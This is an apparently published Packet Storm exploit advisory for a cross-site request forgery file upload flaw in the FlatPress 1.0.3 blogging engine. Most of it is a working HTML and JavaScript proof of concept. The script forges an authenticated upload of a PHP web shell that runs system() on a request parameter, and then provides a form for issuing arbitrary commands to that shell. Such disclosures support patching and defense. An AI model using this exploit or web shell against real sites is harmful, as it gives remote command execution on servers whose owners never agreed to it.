FlatPress 1.0.3 Cross Site Request Forgery / Shell Upload

2016-05-30T00:00:00
ID PACKETSTORM:137248
Type packetstorm
Reporter LiquidWorm
Modified 2016-05-30T00:00:00

Description

                                        
                                            `<!DOCTYPE html>  
<!--  
  
  
FlatPress 1.0.3 CSRF Arbitrary File Upload  
  
  
Vendor: Edoardo Vacchi  
Product web page: http://www.flatpress.org  
Affected version: 1.0.3  
  
Summary: FlatPress is a blogging engine that saves your posts as  
simple text files. Forget about SQL! You just need some PHP.  
  
Desc: The vulnerability is caused due to the improper verification  
of uploaded files via the Uploader script using 'upload[]' POST parameter  
which allows of arbitrary files being uploaded in '/fp-content/attachs'  
directory. The application interface allows users to perform certain  
actions via HTTP requests without performing any validity checks to  
verify the requests. This can be exploited to perform actions with  
administrative privileges if a logged-in user visits a malicious  
web site resulting in execution of arbitrary PHP code by uploading  
a malicious PHP script file and execute system commands.  
  
Tested on: Apache/2.4.10  
PHP/5.6.3  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience  
  
  
Advisory ID: ZSL-2016-5328  
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5328.php  
  
  
04.04.2016  
  
-->  
  
  
<html>  
<title>FlatPress 1.0.3 CSRF Arbitrary File Upload RCE PoC</title>  
<body>  
  
<script type="text/javascript">  
  
function exec(){  
var command = document.getElementById("exec");  
var url = "http://localhost/flatpress/fp-content/attachs/test.php?cmd=";  
var cmdexec = command.value;  
window.open(url+cmdexec,"ZSL_iframe");  
}  
  
function upload(){  
var xhr = new XMLHttpRequest();  
xhr.open("POST", "http://localhost/flatpress/admin.php?p=uploader&action=default", true);  
xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8");  
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.8");  
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=----WebKitFormBoundary1Ix0O1LgWmzQa0af");  
xhr.withCredentials = true;  
var body = "------WebKitFormBoundary1Ix0O1LgWmzQa0af\r\n" +   
"Content-Disposition: form-data; name=\"_wpnonce\"\r\n" +   
"\r\n" +   
"5a462c73ac\r\n" +   
"------WebKitFormBoundary1Ix0O1LgWmzQa0af\r\n" +   
"Content-Disposition: form-data; name=\"_wp_http_referer\"\r\n" +   
"\r\n" +   
"/flatpress/admin.php?p=uploader\r\n" +   
"------WebKitFormBoundary1Ix0O1LgWmzQa0af\r\n" +   
"Content-Disposition: form-data; name=\"upload[]\"; filename=\"test.php\"\r\n" +   
"Content-Type: application/octet-stream\r\n" +   
"\r\n" +   
"\x3c?php\r\n" +   
"system($_REQUEST[\'cmd\']);\r\n" +   
"?\x3e\r\n" +   
"------WebKitFormBoundary1Ix0O1LgWmzQa0af\r\n" +   
"Content-Disposition: form-data; name=\"upload[]\"; filename=\"\"\r\n" +   
"Content-Type: application/octet-stream\r\n" +   
"\r\n" +   
"\r\n" +   
"------WebKitFormBoundary1Ix0O1LgWmzQa0af\r\n" +   
"Content-Disposition: form-data; name=\"upload[]\"; filename=\"\"\r\n" +   
"Content-Type: application/octet-stream\r\n" +   
"\r\n" +   
"\r\n" +   
"------WebKitFormBoundary1Ix0O1LgWmzQa0af\r\n" +   
"Content-Disposition: form-data; name=\"upload[]\"; filename=\"\"\r\n" +   
"Content-Type: application/octet-stream\r\n" +   
"\r\n" +   
"\r\n" +   
"------WebKitFormBoundary1Ix0O1LgWmzQa0af\r\n" +   
"Content-Disposition: form-data; name=\"upload[]\"; filename=\"\"\r\n" +   
"Content-Type: application/octet-stream\r\n" +   
"\r\n" +   
"\r\n" +   
"------WebKitFormBoundary1Ix0O1LgWmzQa0af\r\n" +   
"Content-Disposition: form-data; name=\"upload[]\"; filename=\"\"\r\n" +   
"Content-Type: application/octet-stream\r\n" +   
"\r\n" +   
"\r\n" +   
"------WebKitFormBoundary1Ix0O1LgWmzQa0af\r\n" +   
"Content-Disposition: form-data; name=\"upload[]\"; filename=\"\"\r\n" +   
"Content-Type: application/octet-stream\r\n" +   
"\r\n" +   
"\r\n" +   
"------WebKitFormBoundary1Ix0O1LgWmzQa0af\r\n" +   
"Content-Disposition: form-data; name=\"upload[]\"; filename=\"\"\r\n" +   
"Content-Type: application/octet-stream\r\n" +   
"\r\n" +   
"\r\n" +   
"------WebKitFormBoundary1Ix0O1LgWmzQa0af\r\n" +   
"Content-Disposition: form-data; name=\"upload\"\r\n" +   
"\r\n" +   
"Upload\r\n" +   
"------WebKitFormBoundary1Ix0O1LgWmzQa0af--\r\n";  
var aBody = new Uint8Array(body.length);  
for (var i = 0; i < aBody.length; i++)  
aBody[i] = body.charCodeAt(i);   
xhr.send(new Blob([aBody]));  
}  
  
</script>  
  
<h3>FlatPress 1.0.3 CSRF Arbitrary File Upload RCE PoC Script</h3>  
  
<form action="#">  
<button type="button" onclick=upload()>Upload test.php file!</button>  
</form><br />  
  
<form action="javascript:exec()">  
<input type="text" id="exec" placeholder="Enter a command">  
<input type="submit" value="Execute!">  
</form><br />  
  
<iframe  
style="border:2px;border-style:dashed;color:#d3d3d3"  
srcdoc="command output frame"  
width="700" height="600"  
name="ZSL_iframe">  
</iframe>  
<br />  
<font size="2" color="#d3d3d3">ZSL-2016-5328</font>  
  
</body>  
</html>  
`